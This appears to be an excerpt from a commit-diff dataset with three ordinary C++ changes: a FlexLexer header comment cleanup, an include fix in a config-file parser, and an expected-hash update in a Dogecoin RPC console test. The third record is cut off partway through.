text stringlengths 54 60.6k |
|---|
<commit_before>// This file is based on FlexLexer.h, installed on systems that have
// Flex installed. But then, it is way too dangerous to use the same
// name, as the installed one is read instead of this one. So make
// sure *not* to name this file FlexLexer.h.
// $Header: /cvsroot/urbi/./devel-code/urbiserver/kernel/FlexLexer.h,v 1.5 2005/06/28 14:12:07 jcbaillie Exp $
// FlexLexer.h -- define interfaces for lexical analyzer classes generated
// by flex
// Copyright (c) 1993, 2006 The Regents of the University of California.
// All rights reserved.
//
// This code is derived from software contributed to Berkeley by
// Kent Williams and Tom Epperly.
//
// Redistribution and use in source and binary forms with or without
// modification are permitted provided that: (1) source distributions retain
// this entire copyright notice and comment, and (2) distributions including
// binaries display the following acknowledgement: ``This product includes
// software developed by the University of California, Berkeley and its
// contributors'' in the documentation or other materials provided with the
// distribution and in all advertising materials mentioning features or use
// of this software. Neither the name of the University nor the names of
// its contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
// WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
// This file defines FlexLexer, an abstract class which specifies the
// external interface provided to flex C++ lexer objects, and yyFlexLexer,
// which defines a particular lexer class.
//
// If you want to create multiple lexer classes, you use the -P flag
// to rename each yyFlexLexer to some other xxFlexLexer. You then
// include <FlexLexer.h> in your other sources once per lexer class:
//
// #undef yyFlexLexer
// #define yyFlexLexer xxFlexLexer
// #include <FlexLexer.h>
//
// #undef yyFlexLexer
// #define yyFlexLexer zzFlexLexer
// #include <FlexLexer.h>
// ...
// Note: july 2004-2005.=> modified by Jean-Christophe Baillie
// Added yy::parser::semantic_type *lvalp to the definition of the yylex function.
/*! \file flex-lexer.hh
*******************************************************************************
**************************************************************************** */
#ifndef FLEX_LEXER_HH
# define FLEX_LEXER_HH
# include <iostream>
# include "ucommand.hh"
# include "ugrammar.hh"
struct yy_buffer_state;
typedef int yy_state_type;
class FlexLexer
{
public:
virtual ~FlexLexer() { }
const char* YYText() { return yytext; }
int YYLeng() { return yyleng; }
virtual void
yy_switch_to_buffer( struct yy_buffer_state* new_buffer ) = 0;
virtual struct yy_buffer_state*
yy_create_buffer( std::istream* s, int size ) = 0;
virtual void yy_delete_buffer( struct yy_buffer_state* b ) = 0;
virtual void yyrestart( std::istream* s ) = 0;
virtual yy::parser::token_type
yylex(yy::parser::semantic_type* val,
yy::location* loc, UParser& p) = 0;
// Call yylex with new input/output sources.
yy::parser::token_type yylex( yy::parser::semantic_type* val,
yy::location* loc, UParser& p,
std::istream* new_in,
std::ostream* new_out = 0 )
{
switch_streams( new_in, new_out );
return yylex(val, loc, p);
}
// Switch to new input/output streams. A nil stream pointer
// indicates "keep the current one".
virtual void switch_streams( std::istream* new_in = 0,
std::ostream* new_out = 0 ) = 0;
int lineno() const { return yylineno; }
int debug() const { return yy_flex_debug; }
void set_debug( int flag ) { yy_flex_debug = flag; }
protected:
char* yytext;
int yyleng;
int yylineno; // only maintained if you use %option yylineno
int yy_flex_debug; // only has effect with -d or "%option debug"
};
// # endif
// # if defined(yyFlexLexer) || ! defined(yyFlexLexerOnce)
// Either this is the first time through (yyFlexLexerOnce not defined),
// or this is a repeated include to define a different flavor of
// yyFlexLexer, as discussed in the flex man page.
// # define yyFlexLexerOnce
class yyFlexLexer : public FlexLexer
{
public:
// arg_yyin and arg_yyout default to the cin and cout, but we
// only make that assignment when initializing in yylex().
yyFlexLexer( std::istream* arg_yyin = 0, std::ostream* arg_yyout = 0 );
virtual ~yyFlexLexer();
void yy_switch_to_buffer( struct yy_buffer_state* new_buffer );
struct yy_buffer_state* yy_create_buffer( std::istream* s, int size );
void yy_delete_buffer( struct yy_buffer_state* b );
void yyrestart( std::istream* s );
virtual yy::parser::token_type
yylex(yy::parser::semantic_type* val,
yy::location* loc, UParser& p);
virtual void switch_streams( std::istream* new_in, std::ostream* new_out );
protected:
virtual int LexerInput( char* buf, int max_size );
virtual void LexerOutput( const char* buf, int size );
virtual void LexerError( const char* msg );
void yyunput( int c, char* buf_ptr );
int yyinput();
void yy_load_buffer_state();
void yy_init_buffer( struct yy_buffer_state* b, std::istream* s );
void yy_flush_buffer( struct yy_buffer_state* b );
int yy_start_stack_ptr;
int yy_start_stack_depth;
int* yy_start_stack;
void yy_push_state( int new_state );
void yy_pop_state();
int yy_top_state();
yy_state_type yy_get_previous_state();
yy_state_type yy_try_NUL_trans( yy_state_type current_state );
int yy_get_next_buffer();
std::istream* yyin; // input source for default LexerInput
std::ostream* yyout; // output sink for default LexerOutput
struct yy_buffer_state* yy_current_buffer;
// yy_hold_char holds the character lost when yytext is formed.
char yy_hold_char;
// Number of characters read into yy_ch_buf.
int yy_n_chars;
// Points to current character in buffer.
char* yy_c_buf_p;
int yy_init; // whether we need to initialize
int yy_start; // start state number
// Flag which is used to allow yywrap()'s to do buffer switches
// instead of setting up a fresh yyin. A bit of a hack ...
int yy_did_buffer_switch_on_eof;
// The following are not always needed, but may be depending
// on use of certain flex features (like REJECT or yymore()).
yy_state_type yy_last_accepting_state;
char* yy_last_accepting_cpos;
yy_state_type* yy_state_buf;
yy_state_type* yy_state_ptr;
char* yy_full_match;
int* yy_full_state;
int yy_full_lp;
int yy_lp;
int yy_looking_for_trail_begin;
int yy_more_flag;
int yy_more_len;
int yy_more_offset;
int yy_prev_more_offset;
};
#endif
// Local Variables:
// mode: C++
// End:
<commit_msg>Formatting changes.<commit_after>/// \file flex-lexer.hh
// This file is based on FlexLexer.h, installed on systems that have
// Flex installed. But then, it is way too dangerous to use the same
// name, as the installed one is read instead of this one. So make
// sure *not* to name this file FlexLexer.h.
// FlexLexer.h -- define interfaces for lexical analyzer classes generated
// by flex
// Copyright (c) 1993, 2006 The Regents of the University of California.
// All rights reserved.
//
// This code is derived from software contributed to Berkeley by
// Kent Williams and Tom Epperly.
//
// Redistribution and use in source and binary forms with or without
// modification are permitted provided that: (1) source distributions retain
// this entire copyright notice and comment, and (2) distributions including
// binaries display the following acknowledgement: ``This product includes
// software developed by the University of California, Berkeley and its
// contributors'' in the documentation or other materials provided with the
// distribution and in all advertising materials mentioning features or use
// of this software. Neither the name of the University nor the names of
// its contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
// WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
// This file defines FlexLexer, an abstract class which specifies the
// external interface provided to flex C++ lexer objects, and yyFlexLexer,
// which defines a particular lexer class.
//
// If you want to create multiple lexer classes, you use the -P flag
// to rename each yyFlexLexer to some other xxFlexLexer. You then
// include <FlexLexer.h> in your other sources once per lexer class:
//
// #undef yyFlexLexer
// #define yyFlexLexer xxFlexLexer
// #include <FlexLexer.h>
//
// #undef yyFlexLexer
// #define yyFlexLexer zzFlexLexer
// #include <FlexLexer.h>
// ...
#ifndef FLEX_LEXER_HH
# define FLEX_LEXER_HH
# include <iostream>
# include "ucommand.hh"
# include "ugrammar.hh"
struct yy_buffer_state;
typedef int yy_state_type;
class FlexLexer
{
public:
virtual ~FlexLexer() { }
const char* YYText() { return yytext; }
int YYLeng() { return yyleng; }
virtual void
yy_switch_to_buffer( struct yy_buffer_state* new_buffer ) = 0;
virtual struct yy_buffer_state*
yy_create_buffer( std::istream* s, int size ) = 0;
virtual void yy_delete_buffer( struct yy_buffer_state* b ) = 0;
virtual void yyrestart( std::istream* s ) = 0;
virtual yy::parser::token_type
yylex(yy::parser::semantic_type* val,
yy::location* loc, UParser& p) = 0;
// Call yylex with new input/output sources.
yy::parser::token_type yylex( yy::parser::semantic_type* val,
yy::location* loc, UParser& p,
std::istream* new_in,
std::ostream* new_out = 0 )
{
switch_streams( new_in, new_out );
return yylex(val, loc, p);
}
// Switch to new input/output streams. A nil stream pointer
// indicates "keep the current one".
virtual void switch_streams( std::istream* new_in = 0,
std::ostream* new_out = 0 ) = 0;
int lineno() const { return yylineno; }
int debug() const { return yy_flex_debug; }
void set_debug( int flag ) { yy_flex_debug = flag; }
protected:
char* yytext;
int yyleng;
int yylineno; // only maintained if you use %option yylineno
int yy_flex_debug; // only has effect with -d or "%option debug"
};
// # endif
// # if defined(yyFlexLexer) || ! defined(yyFlexLexerOnce)
// Either this is the first time through (yyFlexLexerOnce not defined),
// or this is a repeated include to define a different flavor of
// yyFlexLexer, as discussed in the flex man page.
// # define yyFlexLexerOnce
class yyFlexLexer : public FlexLexer
{
public:
// arg_yyin and arg_yyout default to the cin and cout, but we
// only make that assignment when initializing in yylex().
yyFlexLexer( std::istream* arg_yyin = 0, std::ostream* arg_yyout = 0 );
virtual ~yyFlexLexer();
void yy_switch_to_buffer( struct yy_buffer_state* new_buffer );
struct yy_buffer_state* yy_create_buffer( std::istream* s, int size );
void yy_delete_buffer( struct yy_buffer_state* b );
void yyrestart( std::istream* s );
virtual yy::parser::token_type
yylex(yy::parser::semantic_type* val,
yy::location* loc, UParser& p);
virtual void switch_streams( std::istream* new_in, std::ostream* new_out );
protected:
virtual int LexerInput( char* buf, int max_size );
virtual void LexerOutput( const char* buf, int size );
virtual void LexerError( const char* msg );
void yyunput( int c, char* buf_ptr );
int yyinput();
void yy_load_buffer_state();
void yy_init_buffer( struct yy_buffer_state* b, std::istream* s );
void yy_flush_buffer( struct yy_buffer_state* b );
int yy_start_stack_ptr;
int yy_start_stack_depth;
int* yy_start_stack;
void yy_push_state( int new_state );
void yy_pop_state();
int yy_top_state();
yy_state_type yy_get_previous_state();
yy_state_type yy_try_NUL_trans( yy_state_type current_state );
int yy_get_next_buffer();
std::istream* yyin; // input source for default LexerInput
std::ostream* yyout; // output sink for default LexerOutput
struct yy_buffer_state* yy_current_buffer;
// yy_hold_char holds the character lost when yytext is formed.
char yy_hold_char;
// Number of characters read into yy_ch_buf.
int yy_n_chars;
// Points to current character in buffer.
char* yy_c_buf_p;
int yy_init; // whether we need to initialize
int yy_start; // start state number
// Flag which is used to allow yywrap()'s to do buffer switches
// instead of setting up a fresh yyin. A bit of a hack ...
int yy_did_buffer_switch_on_eof;
// The following are not always needed, but may be depending
// on use of certain flex features (like REJECT or yymore()).
yy_state_type yy_last_accepting_state;
char* yy_last_accepting_cpos;
yy_state_type* yy_state_buf;
yy_state_type* yy_state_ptr;
char* yy_full_match;
int* yy_full_state;
int yy_full_lp;
int yy_lp;
int yy_looking_for_trail_begin;
int yy_more_flag;
int yy_more_len;
int yy_more_offset;
int yy_prev_more_offset;
};
#endif
// Local Variables:
// mode: C++
// End:
<|endoftext|> |
<commit_before>// ConfigFile.cpp
#include "ConfigFile.h"
using std::string;
ConfigFile::ConfigFile( string filename, string delimiter,
string comment, string sentry )
: myDelimiter(delimiter), myComment(comment), mySentry(sentry)
{
// Construct a ConfigFile, getting keys and values from given file
std::ifstream in( filename.c_str() );
if( !in ) throw file_not_found( filename );
in >> (*this);
}
ConfigFile::ConfigFile()
: myDelimiter( string(1,'=') ), myComment( string(1,'#') )
{
// Construct a ConfigFile without a file; empty
}
void ConfigFile::remove( const string& key )
{
// Remove key and its value
myContents.erase( myContents.find( key ) );
return;
}
bool ConfigFile::keyExists( const string& key ) const
{
// Indicate whether key is found
mapci p = myContents.find( key );
return ( p != myContents.end() );
}
/* static */
void ConfigFile::trim( string& s )
{
// Remove leading and trailing whitespace
static const char whitespace[] = " \n\t\v\r\f";
s.erase( 0, s.find_first_not_of(whitespace) );
s.erase( s.find_last_not_of(whitespace) + 1U );
}
std::ostream& operator<<( std::ostream& os, const ConfigFile& cf )
{
// Save a ConfigFile to os
for( ConfigFile::mapci p = cf.myContents.begin();
p != cf.myContents.end();
++p )
{
os << p->first << " " << cf.myDelimiter << " ";
os << p->second << std::endl;
}
return os;
}
std::istream& operator>>( std::istream& is, ConfigFile& cf )
{
// Load a ConfigFile from is
// Read in keys and values, keeping internal whitespace
typedef string::size_type pos;
const string& delim = cf.myDelimiter; // separator
const string& comm = cf.myComment; // comment
const string& sentry = cf.mySentry; // end of file sentry
const pos skip = delim.length(); // length of separator
string nextline = ""; // might need to read ahead to see where value ends
while( is || nextline.length() > 0 )
{
// Read an entire line at a time
string line;
if( nextline.length() > 0 )
{
line = nextline; // we read ahead; use it now
nextline = "";
}
else
{
std::getline( is, line );
}
// Ignore comments
line = line.substr( 0, line.find(comm) );
// Check for end of file sentry
if( sentry != "" && line.find(sentry) != string::npos ) return is;
// Parse the line if it contains a delimiter
pos delimPos = line.find( delim );
if( delimPos < string::npos )
{
// Extract the key
string key = line.substr( 0, delimPos );
line.replace( 0, delimPos+skip, "" );
// See if value continues on the next line
// Stop at blank line, next line with a key, end of stream,
// or end of file sentry
bool terminate = false;
while( !terminate && is )
{
std::getline( is, nextline );
terminate = true;
string nlcopy = nextline;
ConfigFile::trim(nlcopy);
if( nlcopy == "" ) continue;
nextline = nextline.substr( 0, nextline.find(comm) );
if( nextline.find(delim) != string::npos )
continue;
if( sentry != "" && nextline.find(sentry) != string::npos )
continue;
nlcopy = nextline;
ConfigFile::trim(nlcopy);
if( nlcopy != "" ) line += "\n";
line += nextline;
terminate = false;
}
// Store key and value
ConfigFile::trim(key);
ConfigFile::trim(line);
cf.myContents[key] = line; // overwrites if key is repeated
}
}
return is;
}
<commit_msg>oops forgot to change the reference to configfile here<commit_after>// ConfigFile.cpp
#include "configfile.hpp"
using std::string;
ConfigFile::ConfigFile( string filename, string delimiter,
string comment, string sentry )
: myDelimiter(delimiter), myComment(comment), mySentry(sentry)
{
// Construct a ConfigFile, getting keys and values from given file
std::ifstream in( filename.c_str() );
if( !in ) throw file_not_found( filename );
in >> (*this);
}
ConfigFile::ConfigFile()
: myDelimiter( string(1,'=') ), myComment( string(1,'#') )
{
// Construct a ConfigFile without a file; empty
}
void ConfigFile::remove( const string& key )
{
// Remove key and its value
myContents.erase( myContents.find( key ) );
return;
}
bool ConfigFile::keyExists( const string& key ) const
{
// Indicate whether key is found
mapci p = myContents.find( key );
return ( p != myContents.end() );
}
/* static */
void ConfigFile::trim( string& s )
{
// Remove leading and trailing whitespace
static const char whitespace[] = " \n\t\v\r\f";
s.erase( 0, s.find_first_not_of(whitespace) );
s.erase( s.find_last_not_of(whitespace) + 1U );
}
std::ostream& operator<<( std::ostream& os, const ConfigFile& cf )
{
// Save a ConfigFile to os
for( ConfigFile::mapci p = cf.myContents.begin();
p != cf.myContents.end();
++p )
{
os << p->first << " " << cf.myDelimiter << " ";
os << p->second << std::endl;
}
return os;
}
std::istream& operator>>( std::istream& is, ConfigFile& cf )
{
// Load a ConfigFile from is
// Read in keys and values, keeping internal whitespace
typedef string::size_type pos;
const string& delim = cf.myDelimiter; // separator
const string& comm = cf.myComment; // comment
const string& sentry = cf.mySentry; // end of file sentry
const pos skip = delim.length(); // length of separator
string nextline = ""; // might need to read ahead to see where value ends
while( is || nextline.length() > 0 )
{
// Read an entire line at a time
string line;
if( nextline.length() > 0 )
{
line = nextline; // we read ahead; use it now
nextline = "";
}
else
{
std::getline( is, line );
}
// Ignore comments
line = line.substr( 0, line.find(comm) );
// Check for end of file sentry
if( sentry != "" && line.find(sentry) != string::npos ) return is;
// Parse the line if it contains a delimiter
pos delimPos = line.find( delim );
if( delimPos < string::npos )
{
// Extract the key
string key = line.substr( 0, delimPos );
line.replace( 0, delimPos+skip, "" );
// See if value continues on the next line
// Stop at blank line, next line with a key, end of stream,
// or end of file sentry
bool terminate = false;
while( !terminate && is )
{
std::getline( is, nextline );
terminate = true;
string nlcopy = nextline;
ConfigFile::trim(nlcopy);
if( nlcopy == "" ) continue;
nextline = nextline.substr( 0, nextline.find(comm) );
if( nextline.find(delim) != string::npos )
continue;
if( sentry != "" && nextline.find(sentry) != string::npos )
continue;
nlcopy = nextline;
ConfigFile::trim(nlcopy);
if( nlcopy != "" ) line += "\n";
line += nextline;
terminate = false;
}
// Store key and value
ConfigFile::trim(key);
ConfigFile::trim(line);
cf.myContents[key] = line; // overwrites if key is repeated
}
}
return is;
}
<|endoftext|> |
<commit_before>// Copyright (c) 2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcnestedtests.h"
#include "chainparams.h"
#include "consensus/validation.h"
#include "validation.h"
#include "rpc/register.h"
#include "rpc/server.h"
#include "rpcconsole.h"
#include "test/testutil.h"
#include "univalue.h"
#include "util.h"
#include <QDir>
#include <QtGlobal>
#include <boost/filesystem.hpp>
static UniValue rpcNestedTest_rpc(const JSONRPCRequest& request)
{
if (request.fHelp) {
return "help message";
}
return request.params.write(0, 0);
}
static const CRPCCommand vRPCCommands[] =
{
{ "test", "rpcNestedTest", &rpcNestedTest_rpc, true, {} },
};
void RPCNestedTests::rpcNestedTests()
{
UniValue jsonRPCError;
// do some test setup
// could be moved to a more generic place when we add more tests on QT level
const CChainParams& chainparams = Params();
RegisterAllCoreRPCCommands(tableRPC);
tableRPC.appendCommand("rpcNestedTest", &vRPCCommands[0]);
ClearDatadirCache();
std::string path = QDir::tempPath().toStdString() + "/" + strprintf("test_bitcoin_qt_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
QDir dir(QString::fromStdString(path));
dir.mkpath(".");
ForceSetArg("-datadir", path);
//mempool.setSanityCheck(1.0);
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(pcoinsdbview);
InitBlockIndex(chainparams);
{
CValidationState state;
bool ok = ActivateBestChain(state, chainparams);
QVERIFY(ok);
}
SetRPCWarmupFinished();
std::string result;
std::string result2;
std::string filtered;
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[chain]", &filtered); //simple result filtering with path
QVERIFY(result=="main");
QVERIFY(filtered == "getblockchaininfo()[chain]");
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())"); //simple 2 level nesting
RPCConsole::RPCExecuteCommandLine(result, "getblock(getblock(getbestblockhash())[hash], true)");
RPCConsole::RPCExecuteCommandLine(result, "getblock( getblock( getblock(getbestblockhash())[hash] )[hash], true)"); //4 level nesting with whitespace, filtering path and boolean parameter
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo "); //whitespace at the end will be tolerated
QVERIFY(result.substr(0,1) == "{");
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[\"chain\"]")); //Quote path identifier are allowed, but look after a child contaning the quotes in the key
QVERIFY(result == "null");
(RPCConsole::RPCExecuteCommandLine(result, "createrawtransaction [] {} 0")); //parameter not in brackets are allowed
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction([],{},0)")); //parameter in brackets are allowed
QVERIFY(result == result2);
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction( [], {} , 0 )")); //whitespace between parametres is allowed
QVERIFY(result == result2);
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())[tx][0]", &filtered);
QVERIFY(result == "4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b");
QVERIFY(filtered == "getblock(getbestblockhash())[tx][0]");
RPCConsole::RPCParseCommandLine(result, "importprivkey", false, &filtered);
QVERIFY(filtered == "importprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc,def", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signrawtransaction(abc)", false, &filtered);
QVERIFY(filtered == "signrawtransaction(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrase(help())", false, &filtered);
QVERIFY(filtered == "walletpassphrase(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrasechange(help(walletpassphrasechange(abc)))", false, &filtered);
QVERIFY(filtered == "walletpassphrasechange(…)");
RPCConsole::RPCParseCommandLine(result, "help(encryptwallet(abc, def))", false, &filtered);
QVERIFY(filtered == "help(encryptwallet(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey())", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(help()))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(abc), walletpassphrase(def))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…), walletpassphrase(…))");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest");
QVERIFY(result == "[]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest ''");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest \"\"");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest '' abc");
QVERIFY(result == "[\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc '' abc");
QVERIFY(result == "[\"abc\",\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc abc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc\t\tabc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc , cba )");
QVERIFY(result == "[\"abc\",\"cba\"]");
#if QT_VERSION >= 0x050300
// do the QVERIFY_EXCEPTION_THROWN checks only with Qt5.3 and higher (QVERIFY_EXCEPTION_THROWN was introduced in Qt5.3)
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() .\n"), std::runtime_error); //invalid syntax
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo() getblockchaininfo()"), std::runtime_error); //invalid syntax
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(")); //tolerate non closing brackets if we have no arguments
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()()()")); //tolerate non command brackts
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo(True)"), UniValue); //invalid argument
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "a(getblockchaininfo(True))"), UniValue); //method not found
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc,,abc"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,abc)"), std::runtime_error); //don't tollerate empty arguments when using ,
QVERIFY_EXCEPTION_THROWN(RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc,,)"), std::runtime_error); //don't tollerate empty arguments when using ,
#endif
delete pcoinsTip;
delete pcoinsdbview;
delete pblocktree;
boost::filesystem::remove_all(boost::filesystem::path(path));
}
<commit_msg>Fix the hash of the best block to reflect the Dogecoin block<commit_after>// Copyright (c) 2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "rpcnestedtests.h"
#include "chainparams.h"
#include "consensus/validation.h"
#include "validation.h"
#include "rpc/register.h"
#include "rpc/server.h"
#include "rpcconsole.h"
#include "test/testutil.h"
#include "univalue.h"
#include "util.h"
#include <QDir>
#include <QtGlobal>
#include <boost/filesystem.hpp>
static UniValue rpcNestedTest_rpc(const JSONRPCRequest& request)
{
if (request.fHelp) {
return "help message";
}
return request.params.write(0, 0);
}
static const CRPCCommand vRPCCommands[] =
{
{ "test", "rpcNestedTest", &rpcNestedTest_rpc, true, {} },
};
void RPCNestedTests::rpcNestedTests()
{
UniValue jsonRPCError;
// do some test setup
// could be moved to a more generic place when we add more tests on QT level
const CChainParams& chainparams = Params();
RegisterAllCoreRPCCommands(tableRPC);
tableRPC.appendCommand("rpcNestedTest", &vRPCCommands[0]);
ClearDatadirCache();
std::string path = QDir::tempPath().toStdString() + "/" + strprintf("test_bitcoin_qt_%lu_%i", (unsigned long)GetTime(), (int)(GetRand(100000)));
QDir dir(QString::fromStdString(path));
dir.mkpath(".");
ForceSetArg("-datadir", path);
//mempool.setSanityCheck(1.0);
pblocktree = new CBlockTreeDB(1 << 20, true);
pcoinsdbview = new CCoinsViewDB(1 << 23, true);
pcoinsTip = new CCoinsViewCache(pcoinsdbview);
InitBlockIndex(chainparams);
{
CValidationState state;
bool ok = ActivateBestChain(state, chainparams);
QVERIFY(ok);
}
SetRPCWarmupFinished();
std::string result;
std::string result2;
std::string filtered;
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[chain]", &filtered); //simple result filtering with path
QVERIFY(result=="main");
QVERIFY(filtered == "getblockchaininfo()[chain]");
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())"); //simple 2 level nesting
RPCConsole::RPCExecuteCommandLine(result, "getblock(getblock(getbestblockhash())[hash], true)");
RPCConsole::RPCExecuteCommandLine(result, "getblock( getblock( getblock(getbestblockhash())[hash] )[hash], true)"); //4 level nesting with whitespace, filtering path and boolean parameter
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()");
QVERIFY(result.substr(0,1) == "{");
RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo "); //whitespace at the end will be tolerated
QVERIFY(result.substr(0,1) == "{");
(RPCConsole::RPCExecuteCommandLine(result, "getblockchaininfo()[\"chain\"]")); //Quote path identifier are allowed, but look after a child contaning the quotes in the key
QVERIFY(result == "null");
(RPCConsole::RPCExecuteCommandLine(result, "createrawtransaction [] {} 0")); //parameter not in brackets are allowed
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction([],{},0)")); //parameter in brackets are allowed
QVERIFY(result == result2);
(RPCConsole::RPCExecuteCommandLine(result2, "createrawtransaction( [], {} , 0 )")); //whitespace between parametres is allowed
QVERIFY(result == result2);
RPCConsole::RPCExecuteCommandLine(result, "getblock(getbestblockhash())[tx][0]", &filtered);
QVERIFY(result == "5b2a3f53f605d62c53e62932dac6925e3d74afa5a4b459745c36d42d0ed26a69");
QVERIFY(filtered == "getblock(getbestblockhash())[tx][0]");
RPCConsole::RPCParseCommandLine(result, "importprivkey", false, &filtered);
QVERIFY(filtered == "importprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signmessagewithprivkey abc,def", false, &filtered);
QVERIFY(filtered == "signmessagewithprivkey(…)");
RPCConsole::RPCParseCommandLine(result, "signrawtransaction(abc)", false, &filtered);
QVERIFY(filtered == "signrawtransaction(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrase(help())", false, &filtered);
QVERIFY(filtered == "walletpassphrase(…)");
RPCConsole::RPCParseCommandLine(result, "walletpassphrasechange(help(walletpassphrasechange(abc)))", false, &filtered);
QVERIFY(filtered == "walletpassphrasechange(…)");
RPCConsole::RPCParseCommandLine(result, "help(encryptwallet(abc, def))", false, &filtered);
QVERIFY(filtered == "help(encryptwallet(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey())", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(help()))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…))");
RPCConsole::RPCParseCommandLine(result, "help(importprivkey(abc), walletpassphrase(def))", false, &filtered);
QVERIFY(filtered == "help(importprivkey(…), walletpassphrase(…))");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest");
QVERIFY(result == "[]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest ''");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest \"\"");
QVERIFY(result == "[\"\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest '' abc");
QVERIFY(result == "[\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc '' abc");
QVERIFY(result == "[\"abc\",\"\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc abc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest abc\t\tabc");
QVERIFY(result == "[\"abc\",\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest(abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc )");
QVERIFY(result == "[\"abc\"]");
RPCConsole::RPCExecuteCommandLine(result, "rpcNestedTest( abc , cba )");
QVERIFY(result == "[\"abc\",\"cba\"]");
#if QT_VERSION >= 0x050300
